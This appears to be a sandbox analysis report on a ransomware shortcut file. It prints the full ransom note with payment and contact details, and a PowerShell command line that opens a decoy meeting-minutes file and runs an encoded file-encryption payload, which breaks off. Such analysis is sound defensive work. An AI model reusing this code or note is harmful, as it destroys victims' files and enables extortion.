Overview

overview

10

Static

static

1

_e36ef1734...1d.lnk

windows10-2004-x64

10

_e36ef1734...1d.lnk

windows11-ltsc_2024-x64

10

Resubmissions

05/09/2026, 16:08

260905-tk7hbavwew10

19/07/2025, 14:00

250719-rbgjeswvay10

Analysis

  • max time kernel
    148s
  • max time network
    146s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/09/2026, 16:08

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    _e36ef17346e9d7ec9350a66a352cbdadb8e97e8e592ffbdb0e352fcba2f49f1d.lnk
  • Size 46KB
  • Sample260905-tk7hbavwew
  • SHA256 e36ef17346e9d7ec9350a66a352cbdadb8e97e8e592ffbdb0e352fcba2f49f1d
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
executioncryptowallransomware

Malware Config

Extracted

Path

  • C:\Users\Admin\Pictures\DECRYPT_INSTRUCTION.html

Ransom Note
  • <!DOCTYPE html><html lang='en'><head><meta charset='utf-8'/><meta content='width=device-width, initial-scale=1.0' name='viewport'/><title>DECRYPT INSTRUCTION</title><style>* {box-sizing:border-box;}body {min-height:100vh;padding:20px;}.container {max-width:900px;margin:20px auto;background-color:#fff;border-radius:8px;overflow:hidden;box-shadow:0 5px 15px rgba(0, 0, 0, 0.1);border:1px solid #e0e0e0;}.header {background-color:rgb(144, 0, 33);text-align:center;color:white;display:flex;align-items:center;justify-content:center;gap:15px;border-bottom:2px solid rgb(100, 0, 23);}.lock-icon {font-size:24px;background-color:#fff;color:rgb(144, 0, 33);width:40px;height:40px;border-radius:50%;display:flex;align-items:center;justify-content:center;}.header h1 {font-size:24px;letter-spacing:0.5px;}.countdown-container {display:flex;justify-content:space-around;padding:20px;background-color:rgb(144, 0, 33);color:white;border-bottom:1px solid rgb(100, 0, 23);}.countdown-box {background-color:rgba(0, 0, 0, 0.2);border-radius:6px;padding:15px 20px;text-align:center;width:400px;}.countdown-title {font-size:16px;font-weight:bold;margin-bottom:10px;color:white;}.timer {font-size:20px;font-weight:bold;letter-spacing:1px;background-color:#000;color:#ff3333;padding:8px;border-radius:4px;text-align:center;}.warning {font-size:13px;font-style:italic;color:white;text-align:center;margin-top:8px;}.content {padding:30px;}.section {margin-bottom:30px;}.section-title {font-size:20px;margin-bottom:15px;font-weight:bold;color:rgb(144, 0, 33);}.section-content {line-height:1.6;margin-bottom:15px;}.monero-address {margin-top:20px;background-color:#f9f9f9;padding:20px;border-radius:6px;border-left:4px solid rgb(144, 0, 33);}.address-label {font-size:16px;font-weight:bold;color:rgb(144, 0, 33);margin-bottom:10px;}.address-box {display:flex;background:#f0f0f0;border:1px solid #ddd;border-radius:4px;overflow:hidden;margin-top:10px;}.address-input {flex:1;padding:12px 15px;font-size:14px;border:none;background:#f5f5f5;color:#333;}.generate-btn {background-color:rgb(144, 0, 33);color:white;border:none;margin-top:12px;padding:12px 15px;border-radius:4px;cursor:pointer;font-size:14px;}.copy-btn {background-color:#6c757d;color:white;border:none;padding:0 15px;cursor:pointer;font-size:14px;transition:background-color 0.3s;}.copy-btn:hover {background-color:#5a6268;}.footer {background-color:rgb(144, 0, 33);padding:15px;text-align:center;font-size:12px;color:white;border-top:1px solid rgb(100, 0, 23);}.contact-address {background-color:#f9f9f9;padding:20px;border-radius:6px;border-left:4px solid rgb(144, 0, 33);margin-top:20px;}.contact-label {font-weight:bold;margin-bottom:8px;color:rgb(144, 0, 33);}</style></head><body><div class='container'><div class='header'><div class='lock-icon'>🔒</div><h1>DECRYPT INSTRUCTION</h1></div><div class='countdown-container'><div class='countdown-box'><div class='countdown-title'>PAYMENT DUE IN</div><div class='timer' id='paymentTimer'>48:00:00</div><div class='warning'>After this time, the price will double</div></div><div class='countdown-box'><div class='countdown-title'>FILES LOST IN</div><div class='timer' id='fileTimer'>120:00:00</div><div class='warning'>After this time, decryption will be impossible</div></div></div><div class='content'><div class='section'><div class='section-title'>1. What happened?</div><div class='section-content'><p>Your important files are encrypted.</p><p>Many of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are busy looking for a way to recover your files, but do not waste your time. <strong>Nobody can recover your files without our decryption service.</strong></p></div></div><div class='section'><div class='section-title'>2. Can I recover my files?</div><div class='section-content'><p>Sure. We guarantee that you can recover all your files safely and easily. But you have not so enough time. If you want to decrypt all your files, you need to pay.</p><p>You only have 2 days to submit the payment. After that the price will be doubled. <strong>Also, if you don't pay in 5 days, we will disclose the private data to your contacts, and you won't be able to recover your files forever.</strong></p></div></div><div class='section'><div class='section-title'>3. What about guarantees?</div><div class='section-content'><p>Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will cooperate with us. Its not in our interests.</p></div></div><div class='section'><div class='section-title'>4. How do I pay?</div><div class='section-content'><p>Payment is accepted in Monero (XMR) only. For more information, click <a href='https://www.getmonero.org/'>About Monero</a>. Please check the current price of Monero and send the correct amount. For more information, click <a href='https://www.kraken.com/learn/buy-monero-xmr'>How to buy Monero</a>. Once the payment is checked, we guarantee that you will immediately receive the key and can decrypt your files.</p><div class='monero-address'><div class='address-label'>Send worth of Monero to this address:</div><div class='address-box'><input class='address-input' readonly='' type='text' value='8BEMpCuSL5aBF5rG1a9UNFgBcPU16eNUXbXDBzQJqD3E4jdJaUhAw3LCVH3F4gPUysioYrjsPMa3447oLoSuAhUrH7EQtCC'/><button class='copy-btn'>Copy</button></div></div><p>After your payment, you can find 'Transaction ID' and 'Transaction Key' on the transfers page. These IDs are generated to prove the validity of the transaction. Please fill in the boxes below and click the [Generate Machine ID] button.</p><div class='monero-address'><div class='address-label'>Transaction ID:</div><div class='address-box'><input class='address-input' id='TxnID' type='text'/></div><div class='address-label'>Transaction Key:</div><div class='address-box'><input class='address-input' id='TxnKey' type='text'/></div><button class='generate-btn' onclick='saveMachineID()'>Generate Machine ID</button></div><p><strong>This will generate a Machine ID file that needs to be sent along to us in order to decrypt files.</strong></p></div></div><div class='section'><div class='section-title'>5. How will the decryption process proceed after payment?</div><div class='section-content'><p>After payment we will send to you our scanner-decoder program and detailed instructions for use. With this program you will be able to decrypt all your encrypted files.</p></div></div><div class='section'><div class='section-title'>6. How to contact with you?</div><div class='section-content'><p>You can contact us via mailbox or TOX. If you don't know about TOX, go to <a href='https://tox.chat'>https://tox.chat.</a></p><p><strong>Finally, trust that we are a reputable group. We promise that you can recover all your files after the payment.</strong></p></div></div><div class='contact-address'><div class='contact-label'>Email Address:</div><div class='address-box'><input class='address-input' readonly='' type='text' value='[email protected]'/><button class='copy-btn'>Copy</button></div><div class='contact-label'>Tox ID:</div><div class='address-box'><input class='address-input' readonly='' type='text' value='D6DABDD9600C9C5481ED4127071509D287DD539FB36F0BC82D4FA0F0800AF970923B5500064D'/><button class='copy-btn'>Copy</button></div></div></div><div class='footer'>© 2025 File Decryptor Service. All rights reserved. Decryption keys are securely stored on our servers.</div><div data-payload='3TkY/2TU+8bHbomC/8qe5Q97MIrgwVMRhFqsCcrwyeoVN5iIkk60zhJRfbfC81SW1BJmvTUZ2RRx5j1oHkR/yYX4OHaaEq1PxgslcCQOSznoWSXnlitg4hxYv5u/k4PvZd0CpKg9ndOFtrda5RJM5JLSCwLQXnh9tGywqdoq4hplEu2YiFGsgQxdDdLHF3pQH76+ZDO1Q2aV6+cO2Gy4Tqz2HCNQN2+zd+v0n4zxQCSYksTwlg9DZa/7lMQfFAhWi/5tmloI2OB0SYeeS5qSrafuMyB8dSuLN9NsbHrSRCRTp8TyPMV5zZxwBAL4H0SZluApqqNl6eBGITTeM/Vz6wEAAQ==' id='data'></div></div><script>const eData=new Date(1788624502*1000);function startCountdown(){const paymentTimer=document.getElementById('paymentTimer');const fileTimer=document.getElementById('fileTimer');const paymentDue=new Date(eData);paymentDue.setDate(paymentDue.getDate()+ 2);const fileLost=new Date(eData);fileLost.setDate(fileLost.getDate()+ 5);function updateTimers(){const now=new Date();let paymentDiff=paymentDue - now;if (paymentDiff <= 0){paymentTimer.textContent='00:00:00';}else {const paymentHours=Math.floor(paymentDiff/(1000*60*60));paymentDiff %= (1000*60*60);const paymentMinutes=Math.floor(paymentDiff/(1000*60));paymentDiff %= (1000*60);const paymentSeconds=Math.floor(paymentDiff/1000);paymentTimer.textContent=paymentHours.toString().padStart(2,'0')+':'+paymentMinutes.toString().padStart(2,'0')+':'+paymentSeconds.toString().padStart(2,'0');}let fileDiff=fileLost - now;if (fileDiff <= 0){fileTimer.textContent='00:00:00';}else {const fileHours=Math.floor(fileDiff/(1000*60*60));fileDiff %= (1000*60*60);const fileMinutes=Math.floor(fileDiff/(1000*60));fileDiff %= (1000*60);const fileSeconds=Math.floor(fileDiff/1000);fileTimer.textContent=fileHours.toString().padStart(2,'0')+':'+fileMinutes.toString().padStart(2,'0')+':'+fileSeconds.toString().padStart(2,'0');}}updateTimers();setInterval(updateTimers, 1000);}function saveMachineID(){const TxnID=document.getElementById('TxnID').value.trim();const TxnKey=document.getElementById('TxnKey').value.trim();const MID=document.getElementById('data').dataset.payload;if (TxnID.length!==64){alert('Invalid Transaction ID');return;}if (TxnKey.length!==64){alert('Invalid Transaction Key');return;}const comb=TxnID+TxnKey+MID;const blob=new Blob([comb], {type:'text/plain;charset=utf-8'});const fileName='Your_Machine_ID.txt';const url=URL.createObjectURL(blob);const a=document.createElement('a');a.href=url;a.download=fileName;a.style.display='none';document.body.appendChild(a);a.click();}document.querySelectorAll('.copy-btn').forEach(button =>{button.addEventListener('click', async function(){const input=this.parentNode.querySelector('.address-input');try {await navigator.clipboard.writeText(input.value);const originalText=this.textContent;this.textContent='Copied!';setTimeout(()=>{this.textContent=originalText;}, 2000);}catch (err){console.error('Copy fail:', err);}});});window.onload=startCountdown;</script></body></html>
Emails

Signatures

  • Family: CryptoWall

    Ransomware family which is an improved version of the older CryptoDefense.

    ransomwarecryptowall
  • Renames multiple (139) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Modifies registry class 3 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\_e36ef17346e9d7ec9350a66a352cbdadb8e97e8e592ffbdb0e352fcba2f49f1d.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:6096
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -ep b -c "$f='C:\Users\'+$env:USERNAME+'\Downloads\Project_Workshop_7th_Minutes.txt';$c=\"MEETING MINUTES`r`nProject/Committee: Quarterly Research Progress Review`r`nTime: 10:00 AM - 11:30 AM`r`nLocation: Conference Room 301, Innovation Center`r`nChairperson: Dr. Alexandra Chen`r`nSecretary: Janna Riley`r`n`r`nATTENDEES`r`nChair, RDC Department: Dr. Alexandra Chen`r`nExternal Advisor: Prof. Benjamin Lee`r`nLead Researcher: Dr. Sophia Martinez`r`nData Analyst: Mr. James Wilson`r`nProject Coordinator: Ms. Emily Zhao`r`nAbsent with Notice: Dr. Robert Kim`r`n`r`nAGENDA ITEMS`r`n1. Review of Q2 Research Milestones`r`nDiscussion: Dr. Martinez presented progress on Phase 3 clinical trials, highlighting 85% participant enrollment completion. Prof. Lee raised concerns about data variance in Group B. Decision: Approval to allocate additional 15,000 budget for statistical consultation.`r`nAction Items:`r`n(1) Dr. Martinez to submit revised analysis report.`r`n(2) Mr. Wilson to audit Group B data anomalies.`r`n`r`n2. Publication Strategy for Findings`r`nDiscussion: Debate on prioritizing high-impact journals vs. open-access platforms. Ms. Zhao noted funding mandates requiring open-access compliance.`r`nDecision: Dual-track submission to The Lancet and institutional repository.`r`nAction Items:`r`n(1) Prof. Lee to contact Lancet editorial board.`r`n(2) Ms. Zhao to prepare preprint deposit.`r`n`r`n3. Ethics Compliance Update`r`nDiscussion: IRB flagged consent form discrepancies in Site 5 documentation.`r`nDecision: Immediate suspension of Site 5 recruitment pending audit.`r`nAction Items:`r`n(1) Dr. Chen to lead compliance review team.\";Set-Content -Path $f -Value $c -Encoding UTF8 -Force;Invoke-Item $f;function b{function c{$a='JHM9J0M6XFVzZXJzXCcrJGVOVjpVU0VSTkFNRTskQWtHYT1AKCdcRG9jdW1lbnRzJywnXFBpY3R1cmVzJywnXFZpZGVvcycsJ1xNdXNpYycsJ1xEZXNrdG9wJywnXERvd25sb2FkcycsJ1xGYXZvcml0ZXMnLCdcT25lRHJpdmUnKTskQWtHYT0kQWtHYXxGb3JFYWNoLU9iamVjdHskcyskX307JEZudmRKRT1AKCdEOlwnLCdFOlwnLCdGOlwnLCdHOlwnLCdIOlwnKTskQWtHYSs9JEZudmRKRTska0VZPU5ldy1PYmplY3QgYnl0ZVtdIDE2OyR6eUJZPVtTWXN0ZU0uU2VDVXJJdHkuQ3J5cHRvR3JBcEh5LnJuZ0NSeXB0b1NFcnZpY0VQUm92SURFcl06Om5ldygpOyR6eUJZLkdldEJ5dGVzKCRrRVkpOyRLZXlfbT1bYnl0ZVtdXUAoMHhkZCwweDM5LDB4MTgsMHhmZiwweDY0LDB4ZDQsMHhmYiwweGM2LDB4YzcsMHg2ZSwweDg5LDB4ODIsMHhmZiwweGNhLDB4OWUsMHhlNSwweDBmLDB4N2IsMHgzMCwweDhhLDB4ZTAsMHhjMSwweDUzLDB4MTEsMHg4NCwweDVhLDB4YWMsMHgwOSwweGNhLDB4ZjAsMHhjOSwweGVhLDB4MTUsMHgzNywweDk4LDB4ODgsMHg5MiwweDRlLDB4YjQsMHhjZSwweDEyLDB4NTEsMHg3ZCwweGI3LDB4YzIsMHhmMywweDU0LDB4OTYsMHhkNCwweDEyLDB4NjYsMHhiZCwweDM1LDB4MTksMHhkOSwweDE0LDB4NzEsMHhlNiwweDNkLDB4NjgsMHgxZSwweDQ0LDB4N2YsMHhjOSwweDg1LDB4ZjgsMHgzOCwweDc2LDB4OWEsMHgxMiwweGFkLDB4NGYsMHhjNiwweDBiLDB4MjUsMHg3MCwweDI0LDB4MGUsMHg0YiwweDM5LDB4ZTgsMHg1OSwweDI1LDB4ZTcsMHg5NiwweDJiLDB4NjAsMHhlMiwweDFjLDB4NTgsMHhiZiwweDliLDB4YmYsMHg5MywweDgzLDB4ZWYsMHg2NSwweGRkLDB4MDIsMHhhNCwweGE4LDB4M2QsMHg5ZCwweGQzLDB4ODUsMHhiNiwweGI3LDB4NWEsMHhlNSwweDEyLDB4NGMsMHhlNCwweDkyLDB4ZDIsMHgwYiwweDAyLDB4ZDAsMHg1ZSwweDc4LDB4N2QsMHhiNCwweDZjLDB4YjAsMHhhOSwweGRhLDB4MmEsMHhlMiwweDFhLDB4NjUsMHgxMiwweGVkLDB4OTgsMHg4OCwweDUxLDB4YWMsMHg4MSwweDBjLDB4NWQsMHgwZCwweGQyLDB4YzcsMHgxNywweDdhLDB4NTAsMHgxZiwweGJlLDB4YmUsMHg2NCwweDMzLDB4YjUsMHg0MywweDY2LDB4OTUsMHhlYiwweGU3LDB4MGUsMHhkOCwweDZjLDB4YjgsMHg0ZSwweGFjLDB4ZjYsMHgxYywweDIzLDB4NTAsMHgzNywweDZmLDB4YjMsMHg3NywweGViLDB4ZjQsMHg5ZiwweDhjLDB4ZjEsMHg0MCwweDI0LDB4OTgsMHg5MiwweGM0LDB4ZjAsMHg5NiwweDBmLDB4NDMsMHg2NSwweGFmLDB4ZmIsMHg5NCwweGM0LDB4MWYsMHgxNCwweDA4LDB4NTYsMHg4YiwweGZlLDB4NmQsMHg5YSwweDVhLDB4MDgsMHhkOCwweGUwLDB4NzQsMHg0OSwweDg3LDB4OWUsMHg0YiwweDlhLDB4OTIsMHhhZCwweGE3LDB4ZWUsMHgzMywweDIwLDB4N2MsMHg3NSwweDJiLDB4OGIsMHgzNywweGQzLDB4NmMsMHg2YywweDdhLDB4ZDIsMHg0NCwweDI0LDB4NTMsMHhhNywweGM0LDB4ZjIsMHgzYywweGM1LDB4NzksMHhjZCwweDljLDB4NzAsMHgwNCwweDAyLDB4ZjgsMHgxZiwweDQ0LDB4OTksMHg5NiwweGUwLDB4MjksMHhhYSwweGEzLDB4NjUsMHhlOSwweGUwLDB4NDYsMHgyMSwweDM0LDB4ZGUsMHgzMywweGY1LDB4NzMsMHhlYik7JGtFWV9FPVtieXRlW11dQCgweDAxLDB4MDAsMHgwMSk7JG09W1N5c3RlbS5Db252ZXJ0XTo6VG9CYXNlNjRTdHJpbmcoJEtleV9tKyRrRVlfRSk7JHdWV049TmV3LU9iamVjdCBzeXNURW0uU0VjVXJJdHkuQ1J5UFRPZ3JhcEhZLnJTYVBhcmFtZXRlcnM7JHdWV04uTW9kdWx1cz0kS2V5X207JHdWV04uRXhwb25lbnQ9JGtFWV9FOyRyc2E9W3N5c1RFbS5TRWNVckl0eS5DUnlQVE9ncmFwSFkuclNhXTo6Q3JlYXRlKCk7JHJzYS5JbXBvcnRQYXJhbWV0ZXJzKCR3VldOKTskVmhCcD0kcnNhLkVuY3J5cHQoJGtFWSxbU1lzdGVtLnNlY3VSaVR5LmNSWVB0T2dSYVBoWS5yc0FFTkNSeXB0aW9OUGFkREluZ106OlBrY3MxKTskQ1l3UT1bc1lzVGVtLkJJdGNvbnZlUnRFcl06OkdldEJ5dGVzKFtTeVNURW0uZEF0RVRpTUVPZkZzZVRdOjpVdGNOb3cuVG9Vbml4VGltZVNlY29uZHMoKSk7JFB5Q2E9QCgnLmV4ZScsJy5sbmsnLCcuZGxsJywnLmJpbicsJy5iYXQnLCcuY21kJywnLnN5cycsJy5pbmYnLCcudnhkJywnLmluaScsJy5jZmcnLCcucmVnJywnLmhpdicsJy50bXAnLCcuaHRtbCcpOyR0Qz0oR2V0LUNpbUluc3RhbmNlIFdpbjMyX1Byb2Nlc3NvcikuTnVtYmVyT2ZDb3JlczskclA9W1J1bnNwYWNlRmFjdG9yeV06OkNyZWF0ZVJ1bnNwYWNlUG9vbCgxLCR0Qyk7JHJQLk9wZW4oKTskdGs9TmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0OyRlUz17cGFyYW0oJFlXWnMsJGtFWSwkVmhCcCwkUHlDYSk7JEhWRXY9JFlXWnMuRXh0ZW5zaW9uLlRvTG93ZXIoKTtpZigkUHlDYSAtY29udGFpbnMgJEhWRXYpe3JldHVybn0kRmNPbD0kbnVsbDskZmxTZW09JG51bGw7dHJ5eyRGY09sPVtTeXNURU0uc2VDdXJpdHkuY1JZUHRPZ3JhcGh5LkFlU106OkNyZWF0ZSgpOyRGY09sLktleT0ka0VZOyRGY09sLkdlbmVyYXRlSVYoKTskRmNPbC5Nb2RlPVtTeVN0ZU0uU2VjdVJpVFkuQ1J5cFRvZ1JhcEhZLmNpUGhFck1PZEVdOjpDQkM7JEZjT2wuUGFkZGluZz1bU1lzdEVNLnNlY3VSSVRZLkNyWVBUT2dyYXBIeS5QYUREaU5nTU9EZV06OlBLQ1M3OyR4dnJ4PSRGY09sLkNyZWF0ZUVuY3J5cHRvcigpOyRmbFNlbT1bU3lzdGVtLklPLkZpbGVdOjpPcGVuKCRZV1pzLkZ1bGxOYW1lLCdPcGVuJywnUmVhZFdyaXRlJywnTm9uZScpOyRmbFNlbS5Qb3NpdGlvbj0wOyRiZnI9W2J5dGVbXV06Om5ldyhbTWF0aF06Ok1pbigkZmxTZW0uTGVuZ3RoLDRLQikpOyRidFJkPSRmbFNlbS5SZWFkKCRiZnIsMCwkYmZyLkxlbmd0aCk7JGV0ZENvZXQ9JHh2cnguVHJhbnNmb3JtRmluYWxCbG9jaygkYmZyLDAsJGJ0UmQpOyRmbFNlbS5Qb3NpdGlvbj0wO2lmKCRmbFNlbS5MZW5ndGggLWd0IDRLQil7JGV0ZENvZXROcD0kZXRkQ29ldFswLi40MDk1XTskZmxTZW0uV3JpdGUoJGV0ZENvZXROcCwwLCRldGRDb2V0TnAuTGVuZ3RoKTskdGxTdD1bTWF0aF06Ok1heCg0S0IsJGZsU2VtLkxlbmd0aC00S0IpOyR0bExoPSRmbFNlbS5MZW5ndGgtJHRsU3Q7JGZsU2VtLlBvc2l0aW9uPSR0bFN0OyR0bEJyPVtieXRlW11dOjpuZXcoJHRsTGgpOyR0bEJkPSRmbFNlbS5SZWFkKCR0bEJyLDAsJHRsTGgpOyRlZFRsPSR4dnJ4LlRyYW5zZm9ybUZpbmFsQmxvY2soJHRsQnIsMCwkdGxCZCk7JGZsU2VtLlBvc2l0aW9uPSR0bFN0OyRmbFNlbS5Xcml0ZSgkZWRUbCwwLCRlZFRsLkxlbmd0aCk7fWVsc2V7JGZsU2VtLldyaXRlKCRldGRDb2V0LDAsJGV0ZENvZXQuTGVuZ3RoKTt9JGZsU2VtLlBvc2l0aW9uPSRmbFNlbS5MZW5ndGg7JGZsU2VtLldyaXRlKCRGY09sLklWLDAsJEZjT2wuSVYuTGVuZ3RoKTskZmxTZW0uV3JpdGUoJFZoQnAsMCwkVmhCcC5MZW5ndGgpOyR4dnJ4LkRpc3Bvc2UoKTskRmNPbC5EaXNwb3NlKCk7JGZsU2VtLkNsb3NlKCk7JGRXQ2M9JFlXWnMuTmFtZSsnLnRtcCc7UmVuYW1lLUl0ZW0gLVBhdGggJFlXWnMuRnVsbE5hbWUgLU5ld05hbWUgJGRXQ2MgLUZvcmNlO31maW5hbGx5eyR4dnJ4Py5EaXNwb3NlKCk7JEZjT2w/LkRpc3Bvc2UoKTskZmxTZW0/LkNsb3NlKCk7fX07Zm9yZWFjaCgkQ2lXViBpbiAkQWtHYSl7aWYoVGVzdC1QYXRoIC1MaXRlcmFsUGF0aCAkQ2lXVil7JGR0PUAoR2V0LUl0ZW0gLVBhdGggJENpV1YpOyRkdCs9R2V0LUNoaWxkSXRlbSAtUGF0aCAkQ2lXViAtRGlyZWN0b3J5IC1SZWN1cnNlO2ZvcmVhY2goJGQgaW4gJGR0KXskemFaVT1HZXQtQ2hpbGRJdGVtIC1QYXRoICRkLkZ1bGxOYW1lIC1GaWxlIC1SZWN1cnNlO2ZvcmVhY2goJFlXWnMgaW4gJHphWlUpeyRwc0luPVtQb3dlclNoZWxsXTo6Q3JlYXRlKCkuQWRkU2NyaXB0KCRlUykuQWRkQXJndW1lbnQoJFlXWnMpLkFkZEFyZ3VtZW50KCRrRVkpLkFkZEFyZ3VtZW50KCRWaEJwKS5BZGRBcmd1bWVudCgkUHlDYSk7JHBzSW4uUnVuc3BhY2VQb29sPSRyUDskYXlSPSRwc0luLkJlZ2luSW52b2tlKCk7JG51bGw9JHRrLkFkZChbUFNDdXN0b21PYmplY3RdQHtQb3dlclNoZWxsPSRwc0luO0FzeW5jUmVzdWx0PSRheVI7fSk7fSRoPUpvaW4tUGF0aCAtUGF0aCAkZC5GdWxsTmFtZSAtQ2hpbGRQYXRoICdERUNSWVBUX0lOU1RSVUNUSU9OLmh0bWwnOyRpPSI8IURPQ1RZUEUgaHRtbD48aHRtbCBsYW5nPSdlbic+PGhlYWQ+PG1ldGEgY2hhcnNldD0ndXRmLTgnLz48bWV0YSBjb250ZW50PSd3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wJyBuYW1lPSd2aWV3cG9ydCcvPjx0aXRsZT5ERUNSWVBUIElOU1RSVUNUSU9OPC90aXRsZT48c3R5bGU+KiB7Ym94LXNpemluZzpib3JkZXItYm94O31ib2R5IHttaW4taGVpZ2h0OjEwMHZoO3BhZGRpbmc6MjBweDt9LmNvbnRhaW5lciB7bWF4LXdpZHRoOjkwMHB4O21hcmdpbjoyMHB4IGF1dG87YmFja2dyb3VuZC1jb2xvcjojZmZmO2JvcmRlci1yYWRpdXM6OHB4O292ZXJmbG93OmhpZGRlbjtib3gtc2hhZG93OjAgNXB4IDE1cHggcmdiYSgwLCAwLCAwLCAwLjEpO2JvcmRlcjoxcHggc29saWQgI2UwZTBlMDt9LmhlYWRlciB7YmFja2dyb3VuZC1jb2xvcjpyZ2IoMTQ0LCAwLCAzMyk7dGV4dC1hbGlnbjpjZW50ZXI7Y29sb3I6d2hpdGU7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO2dhcDoxNXB4O2JvcmRlci1ib3R0b206MnB4IHNvbGlkIHJnYigxMDAsIDAsIDIzKTt9LmxvY2staWNvbiB7Zm9udC1zaXplOjI0cHg7YmFja2dyb3VuZC1jb2xvcjojZmZmO2NvbG9yOnJnYigxNDQsIDAsIDMzKTt3aWR0aDo0MHB4O2hlaWdodDo0MHB4O2JvcmRlci1yYWRpdXM6NTAlO2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OmNlbnRlcjt9LmhlYWRlciBoMSB7Zm9udC1zaXplOjI0cHg7bGV0dGVyLXNwYWNpbmc6MC41cHg7fS5jb3VudGRvd24tY29udGFpbmVyIHtkaXNwbGF5OmZsZXg7anVzdGlmeS1jb250ZW50OnNwYWNlLWFyb3VuZDtwYWRkaW5nOjIwcHg7YmFja2dyb3VuZC1jb2xvcjpyZ2IoMTQ0LCAwLCAzMyk7Y29sb3I6d2hpdGU7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgcmdiKDEwMCwgMCwgMjMpO30uY291bnRkb3duLWJveCB7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsIDAsIDAsIDAuMik7Ym9yZGVyLXJhZGl1czo2cHg7cGFkZGluZzoxNXB4IDIwcHg7dGV4dC1hbGlnbjpjZW50ZXI7d2lkdGg6NDAwcHg7fS5jb3VudGRvd24tdGl0bGUge2ZvbnQtc2l6ZToxNnB4O2ZvbnQtd2VpZ2h0OmJvbGQ7bWFyZ2luLWJvdHRvbToxMHB4O2NvbG9yOndoaXRlO30udGltZXIge2ZvbnQtc2l6ZToyMHB4O2ZvbnQtd2VpZ2h0OmJvbGQ7bGV0dGVyLXNwYWNpbmc6MXB4O2JhY2tncm91bmQtY29sb3I6IzAwMDtjb2xvcjojZmYzMzMzO3BhZGRpbmc6OHB4O2JvcmRlci1yYWRpdXM6NHB4O3RleHQtYWxpZ246Y2VudGVyO30ud2FybmluZyB7Zm9udC1zaXplOjEzcHg7Zm9udC1zdHlsZTppdGFsaWM7Y29sb3I6d2hpdGU7dGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luLXRvcDo4cHg7fS5jb250ZW50IHtwYWRkaW5nOjMwcHg7fS5zZWN0aW9uIHttYXJnaW4tYm90dG9tOjMwcHg7fS5zZWN0aW9uLXRpdGxlIHtmb250LXNpemU6MjBweDttYXJnaW4tYm90dG9tOjE1cHg7Zm9udC13ZWlnaHQ6Ym9sZDtjb2xvcjpyZ2IoMTQ0LCAwLCAzMyk7fS5zZWN0aW9uLWNvbnRlbnQge2xpbmUtaGVpZ2h0OjEuNjttYXJnaW4tYm90dG9tOjE1cHg7fS5tb25lcm8tYWRkcmVzcyB7bWFyZ2luLXRvcDoyMHB4O2JhY2tncm91bmQtY29sb3I6I2Y5ZjlmOTtwYWRkaW5nOjIwcHg7Ym9yZGVyLXJhZGl1czo2cHg7Ym9yZGVyLWxlZnQ6NHB4IHNvbGlkIHJnYigxNDQsIDAsIDMzKTt9LmFkZHJlc3MtbGFiZWwge2ZvbnQtc2l6ZToxNnB4O2ZvbnQtd2VpZ2h0OmJvbGQ7Y29sb3I6cmdiKDE0NCwgMCwgMzMpO21hcmdpbi1ib3R0b206MTBweDt9LmFkZHJlc3MtYm94IHtkaXNwbGF5OmZsZXg7YmFja2dyb3VuZDojZjBmMGYwO2JvcmRlcjoxcHggc29saWQgI2RkZDtib3JkZXItcmFkaXVzOjRweDtvdmVyZmxvdzpoaWRkZW47bWFyZ2luLXRvcDoxMHB4O30uYWRkcmVzcy1pbnB1dCB7ZmxleDoxO3BhZGRpbmc6MTJweCAxNXB4O2ZvbnQtc2l6ZToxNHB4O2JvcmRlcjpub25lO2JhY2tncm91bmQ6I2Y1ZjVmNTtjb2xvcjojMzMzO30uZ2VuZXJhdGUtYnRuIHtiYWNrZ3JvdW5kLWNvbG9yOnJnYigxNDQsIDAsIDMzKTtjb2xvcjp3aGl0ZTtib3JkZXI6bm9uZTttYXJnaW4tdG9wOjEycHg7cGFkZGluZzoxMnB4IDE1cHg7Ym9yZGVyLXJhZGl1czo0cHg7Y3Vyc29yOnBvaW50ZXI7Zm9udC1zaXplOjE0cHg7fS5jb3B5LWJ0biB7YmFja2dyb3VuZC1jb2xvcjojNmM3NTdkO2NvbG9yOndoaXRlO2JvcmRlcjpub25lO3BhZGRpbmc6MCAxNXB4O2N1cnNvcjpwb2ludGVyO2ZvbnQtc2l6ZToxNHB4O3RyYW5zaXRpb246YmFja2dyb3VuZC1jb2xvciAwLjNzO30uY29weS1idG46aG92ZXIge2JhY2tncm91bmQtY29sb3I6IzVhNjI2ODt9LmZvb3RlciB7YmFja2dyb3VuZC1jb2xvcjpyZ2IoMTQ0LCAwLCAzMyk7cGFkZGluZzoxNXB4O3RleHQtYWxpZ246